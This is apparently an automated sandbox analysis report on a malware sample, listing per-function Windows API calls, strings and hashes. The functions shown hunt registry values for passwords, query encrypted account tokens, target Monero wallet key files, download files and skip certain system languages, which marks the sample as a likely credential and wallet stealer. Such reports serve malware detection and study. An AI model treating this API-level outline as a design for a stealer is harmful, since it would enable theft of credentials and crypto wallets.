lstrcat.KERNEL32(00000000,00000000), ref: 00CA76D3
lstrcat.KERNEL32(00000000,00CC1808), ref: 00CA76ED
task.LIBCPMTD ref: 00CA76FB

Strings

: , xrefs: 00CA764E

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 025965903d0f257bec743f894d34386af06c894d5925f570108f08c6704f3814
Instruction ID: 8d7cc07ef2ed141f60d76601585c9edaf58a100fb505d9ad502b939f007f6357
Opcode Fuzzy Hash: 025965903d0f257bec743f894d34386af06c894d5925f570108f08c6704f3814
Instruction Fuzzy Hash: 463110B1D0014EDFCB08EBA5DC9AEFE7779BB46305B18412CF102BB191DA34A94ADB51

Function 00CB8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,009DEC28,00000000,?,00CC0E2C,00000000,?,00000000), ref: 00CB8130
RtlAllocateHeap.NTDLL(00000000), ref: 00CB8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00CB8158
__aulldiv.LIBCMT ref: 00CB8172
__aulldiv.LIBCMT ref: 00CB8180
wsprintfA.USER32 ref: 00CB81AC

Strings

%d MB, xrefs: 00CB81A3
@, xrefs: 00CB814D

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 02aa4ec15786fc65b60c9de7725aac0d695b0d8af22800933bd8edf38fb274d3
Instruction ID: 31caa6569161740587978e5493ca3644df0d1ef240cc5dc5a8fc61fbd6d16a4f
Opcode Fuzzy Hash: 02aa4ec15786fc65b60c9de7725aac0d695b0d8af22800933bd8edf38fb274d3
Instruction Fuzzy Hash: F7211AB1E44258ABDB04DFD5CC49FAEBBBCFB44B10F104619F605BB280D77869058BA5

Function 00CA60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CA4839
Part of subcall function 00CA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CA4849

InternetOpenA.WININET(00CC0DF7,00000001,00000000,00000000,00000000), ref: 00CA610F
StrCmpCA.SHLWAPI(?,009DF1A0), ref: 00CA6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00CA618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00CA61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00CA61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00CA620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00CA6249
InternetCloseHandle.WININET(?), ref: 00CA6253
InternetCloseHandle.WININET(00000000), ref: 00CA6260

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: bc3c7270a4dcfeefb6dcc32809184173f0dc922a9140c03c6ce9371b0b3107b7
Instruction ID: 3455068355f9ffbf83a2e50df7f806e9def56375401337a7545763830316ac6a
Opcode Fuzzy Hash: bc3c7270a4dcfeefb6dcc32809184173f0dc922a9140c03c6ce9371b0b3107b7
Instruction Fuzzy Hash: B4518FB1900219AFDB20DFA1CC85BEE77B8EB04305F1481A8B605BB1C0DB746A89CF95

Function 00CA72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00CA733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00CA73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00CA740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00CA7452
HeapFree.KERNEL32(00000000), ref: 00CA7459
task.LIBCPMTD ref: 00CA7555

Strings

Password, xrefs: 00CA7401

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 5cffa15788e49edb2cb59f32f61a245a852a0411b1f35facf7404e5dcc2471f6
Instruction ID: 4c77c5266674ff209a54e7396fb56ed6e18b8ef643055c3050cb45fa1ecd55d0
Opcode Fuzzy Hash: 5cffa15788e49edb2cb59f32f61a245a852a0411b1f35facf7404e5dcc2471f6
Instruction Fuzzy Hash: 63614AB5D0016D9BDB24DB50CC45BDAB7B8BF49304F0082E9E689A6141EF706BC9DFA1

Function 00CABA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

lstrlen.KERNEL32(00000000), ref: 00CABC9F

Part of subcall function 00CB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CB8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00CABCCD
lstrlen.KERNEL32(00000000), ref: 00CABDA5
lstrlen.KERNEL32(00000000), ref: 00CABDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00CABBEB
AccountTokens, xrefs: 00CABABA
AccountTokens, xrefs: 00CABB49
AccountId, xrefs: 00CABCC4

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 740d9cc1afe19af9fd7d3ab0907cc4adfd91140e37fd28163bd21645571a5927
Instruction ID: 17a7d4a313252f82803e5d26bf2a4eb4c00ae7458316cd1b547f16f6002e15ca
Opcode Fuzzy Hash: 740d9cc1afe19af9fd7d3ab0907cc4adfd91140e37fd28163bd21645571a5927
Instruction Fuzzy Hash: 8FB14E71D10108ABDB14FBA0DCA6EEE733CAF54304F444168F546B6492EF356E49EBA2

Function 00CB6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00CB6774
ExitProcess.KERNEL32 ref: 00CB67A5
ExitProcess.KERNEL32 ref: 00CB67AF
ExitProcess.KERNEL32 ref: 00CB67B9
ExitProcess.KERNEL32 ref: 00CB67C3
ExitProcess.KERNEL32 ref: 00CB67CD

Strings

*, xrefs: 00CB678C

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 9dadcaee960c5d804057cce74ffd9925eb850395d2faaba078e8e03306d805e9
Instruction ID: 5089442a7dceac6de4932f023595f3739aa79ea86bf6d16276a3521d5de9b3c3
Opcode Fuzzy Hash: 9dadcaee960c5d804057cce74ffd9925eb850395d2faaba078e8e03306d805e9
Instruction Fuzzy Hash: 02F0893490425DEFD744DFE1E94976C7B70FB04703F0801ADF605AA290DA746B41DB96

Function 00CA4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00CA4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00CA4FD1
InternetOpenA.WININET(00CC0DDF,00000000,00000000,00000000,00000000), ref: 00CA4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00CA5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00CA5041
InternetCloseHandle.WININET(?), ref: 00CA50B9
InternetCloseHandle.WININET(?), ref: 00CA50C6

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 6d5e88f72c60ce0e8769af15eefd796f2b99936d3e523e3d096e69c9b75596a9
Instruction ID: b36dbaed1cfe6067b1fae8b291de1bce4edcca2e0ac045aa7d407c54c76955c8
Opcode Fuzzy Hash: 6d5e88f72c60ce0e8769af15eefd796f2b99936d3e523e3d096e69c9b75596a9
Instruction Fuzzy Hash: 5331E3B4A4021CABDB20CF54DC85BDCB7B4AB48704F1081E9FA09B7281C6706A858F99

Function 00CB83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00CB8426
wsprintfA.USER32 ref: 00CB8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00CB847B
RegCloseKey.ADVAPI32(00000000), ref: 00CB848C
RegCloseKey.ADVAPI32(00000000), ref: 00CB8499

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

RegQueryValueExA.ADVAPI32(00000000,009DEC88,00000000,000F003F,?,00000400), ref: 00CB84EC
lstrlen.KERNEL32(?), ref: 00CB8501
RegQueryValueExA.ADVAPI32(00000000,009DED78,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00CC0B34), ref: 00CB8599
RegCloseKey.ADVAPI32(00000000), ref: 00CB8608
RegCloseKey.ADVAPI32(00000000), ref: 00CB861A

Strings

%s\%s, xrefs: 00CB844D

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 74cd1b1d9604cd70953259801a55463b9d2ae881d328b84ce8e99fdb0ef03a1b
Instruction ID: 1160afa34215dced5385368b40cf7a705eff7636f380c7eab446e50f61bef6f2
Opcode Fuzzy Hash: 74cd1b1d9604cd70953259801a55463b9d2ae881d328b84ce8e99fdb0ef03a1b
Instruction Fuzzy Hash: AF21D6B191021CAFDB24DB54DC85FE9B7B9FB48700F0485A9B609A6180DE716A89CFA4

Function 00CB7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00CB76AB
RegOpenKeyExA.ADVAPI32(80000002,009CBBE8,00000000,00020119,00000000), ref: 00CB76DD
RegQueryValueExA.ADVAPI32(00000000,009DECB8,00000000,00000000,?,000000FF), ref: 00CB76FE
RegCloseKey.ADVAPI32(00000000), ref: 00CB7708

Strings

Windows 11, xrefs: 00CB76BD

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: af3a2fe39ab491d1e5fcd1bfe99a71e102a52c8e1e18beda715c7891d79c6077
Instruction ID: 0baf489d4ffdece345d8b168635007e7229952f2a94ec177e47d130797f3572e
Opcode Fuzzy Hash: af3a2fe39ab491d1e5fcd1bfe99a71e102a52c8e1e18beda715c7891d79c6077
Instruction Fuzzy Hash: 530144B5A44208BFDB10DBE5DC8DFAD77B8EB44701F144169FE05FB290DA70A9088B51

Function 00CB7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB7734
RtlAllocateHeap.NTDLL(00000000), ref: 00CB773B
RegOpenKeyExA.ADVAPI32(80000002,009CBBE8,00000000,00020119,00CB76B9), ref: 00CB775B
RegQueryValueExA.ADVAPI32(00CB76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00CB777A
RegCloseKey.ADVAPI32(00CB76B9), ref: 00CB7784

Strings

CurrentBuildNumber, xrefs: 00CB7771

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 2d82a043c6e8cf8273e7a2a5a2f8c25d16b13ed35874e18251ef85856b40802e
Instruction ID: 663f5d3596724235892f6db32a38a5005ea2550102ea375f1cf93b54a8a4088d
Opcode Fuzzy Hash: 2d82a043c6e8cf8273e7a2a5a2f8c25d16b13ed35874e18251ef85856b40802e
Instruction Fuzzy Hash: 940144B5A40308BFDB10DBE1DC8AFAEB7B8EB44701F144169FA05BB281DA7066048B51

Function 00CA99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CA99EC
